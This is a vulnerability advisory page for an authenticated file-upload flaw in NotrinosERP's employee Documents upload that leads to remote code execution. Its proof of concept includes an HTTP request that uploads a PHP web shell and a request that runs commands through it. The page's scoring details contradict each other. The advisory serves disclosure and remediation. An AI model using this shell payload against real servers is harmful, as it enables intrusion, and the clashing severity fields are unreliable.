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CVE-2026-76913

NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee "Documents" (doc_file)

CVSS score

8.8

EPSS probability

—

Risk score

0.9

Published

3 mo ago

Patch status has not yet been verified

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Vulnerability description

DayBreach CVE AI Research

CVE-2026-76913 has vendor, distribution, patch and security-source records on file. We can compare them and prepare an explanation linked to the evidence.

#### Summary An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web-served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server. #### Details The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim: ```php // hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573) $upload_dir = company_path().'/documents/employees'; if (!file_exists($upload_dir)) mkdir($upload_dir, 0777, true); $file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']; if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... } ``` There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile-photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern. Reachability of the written file: - `company_path()` resolves under the web root; `config.default.php` sets `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`. - The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log` only — it does **not** block `.php` and does **not** cover `company/`. - The stored path is then echoed **unescaped** into a clickable "View" link (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`), handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79). A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`. #### Proof of Concept The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by `check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the hidden `_token`, then submit. Against your **own** local instance: ```http POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1 Host: <your-local-instance> Cookie: <authenticated session> Content-Type: multipart/form-data; boundary=b --b Content-Disposition: form-data; name="_token" <value of the hidden _token field from the GET response> --b Content-Disposition: form-data; name="doc_type_id" <a valid document type id> --b Content-Disposition: form-data; name="doc_name" x --b Content-Disposition: form-data; name="doc_file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['c']); ?> --b Content-Disposition: form-data; name="save_document" Save Document --b-- ``` Then request the stored file (its exact path is shown in the Documents tab's "View" link): ```http GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1 ``` The command in `c` executes on the server. #### Validation (performed locally, no network) The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload: ``` $ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id' uid=501(...) gid=20(staff) ... $ curl '.../<same>.php?c=uname%20-sm;whoami' Darwin arm64 <user> ``` Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file. #### Impact Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2). #### Suggested fix - Never use the client filename on disk. Store with a server-generated name and **no executable extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name only as a DB label. - Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic` branch already does. - Store uploads outside the web root, or drop an `.htaccess`/`web.config` in `company/*/documents/` that disables script execution (`php_admin_flag engine off`, `RemoveHandler .php`, `SetHandler none`). - `htmlspecialchars()` the stored path before emitting the "View" link (fixes the secondary XSS). #### References / credit - Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`. - Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.

IMPACT: Affected Products and Software

Affected Products

The following products are affected by CVE-2026-76913 vulnerability. Where our threat engine knows the exact affected versions, they are listed below.

IDVENDORPRODUCTACTION
1packagistnotrinos/notrinos-erp View
Total affected vendors: 1|Products: 1

RED HAT CSAF/VEX: Product Impact Check

Red Hat has not yet published a CSAF/VEX impact record for this CVE. This does not mean “not affected”.

SCORING: CVSS from Multiple Sources

CVSS Scores

The Common Vulnerability Scoring System is a standardised framework for assessing the severity of vulnerabilities in software and systems. We collect and display CVSS scores from several sources for each CVE.

SCOREVERSIONSEVERITYVECTORSOURCE
8.8CVSS 3.x—Vector not publishedGitHub Advisory
0.0CVSS 4.0—Vector not publishedGitHub Advisory

Patch and Remediation Guide

Solution & Remediation Advisory

Patch status unknown

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Confirm the affected product and version against the source evidence above.
Restrict access to internet-facing services and apply network segmentation.
Until a patch is confirmed, follow the vendor advisory; do not read an unknown status as “no patch”.
Monitor server logs and network endpoints for signs of anomalous execution.

Public exploit and active exploitation status

Verified exploit intelligence

No verified public PoC, exploit repository or Metasploit module has been found for this CVE yet.

Weakness Classification and Attack Patterns (CWE & CAPEC)

CWE - Common Weakness Enumeration

While CVE identifies specific instances of vulnerabilities, CWE categorises the common flaws or weaknesses that can lead to vulnerabilities. CVE-2026-76913 is associated with the following CWEs:

Common Attack Pattern Enumeration and Classification (CAPEC)

Common Attack Pattern Enumeration and Classification (CAPEC) stores attack patterns, which are descriptions of the common attributes and approaches employed by adversaries to exploit the CVE-2026-76913 weaknesses.

Attack Vector and Accessibility

ExposureAğ üzerinden
PermissionsLow
UserGerekmiyor

Official Sources and Advisories

CVSS Vector Radar Chart

8.8 / 10
Attack VectorNetworkComplexityLowPrivilegesLowUser Interact.NoneConfidentialityLowIntegrityNoneAvailabilityHigh

Vulnerability Scoring Details

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow privileges
User InteractionNone required
Confidentiality (Gizlilik)Low
Integrity (Bütünlük)None
Availability (Erişilebilirlik)High

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Weakness Type (CWE & CAPEC)

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CVE-2026-76913 · NotrinosERP: Authenticated arbitrary file…